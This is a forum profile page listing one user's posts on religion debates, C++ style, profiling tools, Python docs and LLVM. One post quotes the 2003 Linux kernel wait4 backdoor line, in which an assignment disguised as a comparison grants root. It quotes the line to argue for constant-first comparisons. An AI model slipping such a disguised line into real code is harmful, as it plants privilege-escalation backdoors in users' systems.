Jump to content

  • Log In with Google      Sign In   
  • Create Account


Member Since 16 Jun 2008
Offline Last Active Mar 02 2015 07:45 PM

Posts I've Made

In Topic: Proof God doesn't exist?

08 April 2011 - 02:48 PM

I honestly dunno, as I said, I assumed, I have a lot of doubt in my assumptions,

Without choosing sides and igniting another rehash, let me just use this post to refute a very common misconception about debates about religion on the internet (one that was repeated a few times in this thread):

They are not pointless.

Sure, you might not convince the person you're talking to, but somebody who isn't so sure is going to come along and read what you guys wrote and start thinking about it. Or at least, they should. That's never a bad thing.

In Topic: Help with Recursion in C++

17 March 2011 - 05:39 PM

Also, it's especially good practice to put the constant first if you will be sharing code. Consider the time back in 2003 when somebody inserted malicious code into a CVS clone of the main BitKeeper repository for the Linux kernel. In the wait4 function they added:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

A handy little backdoor to gain root privileges for any program you choose simply by calling wait4 and compiling with the right options. Maybe you and everybody with push access to your repository is sharp eyed enough to catch these every time, but requiring the constant on the left means you don't have to be.

In Topic: Profiling == Valgrind ?

14 January 2011 - 04:03 PM

FYI, Google uses valgrind + wine to test the Windows version of Chromium. :)


But, if you only want profiling, then valgrind is overkill. Aside from AMD Code Analyst and Very Sleepy, there is also Proffy and Shiny:


In Topic: Python help please?

11 January 2011 - 04:14 PM

Try the wiki with the older documentation...the website isn't quite there yet. For example:


In Topic: Give me some ideas for making a programming language

11 January 2011 - 12:36 PM

I have very little knowledge in this area, but some time ago I was reading up on what it might take to add JIT support to a certain language. This led me to LLVM and I came across this tutorial:


It walks you through the creation of a simple interpreted language with JIT, starting from C++ or OCaml. I have no idea how useful this is or if it even below what you're trying to do (the only data type is double), but it seemed pretty interesting.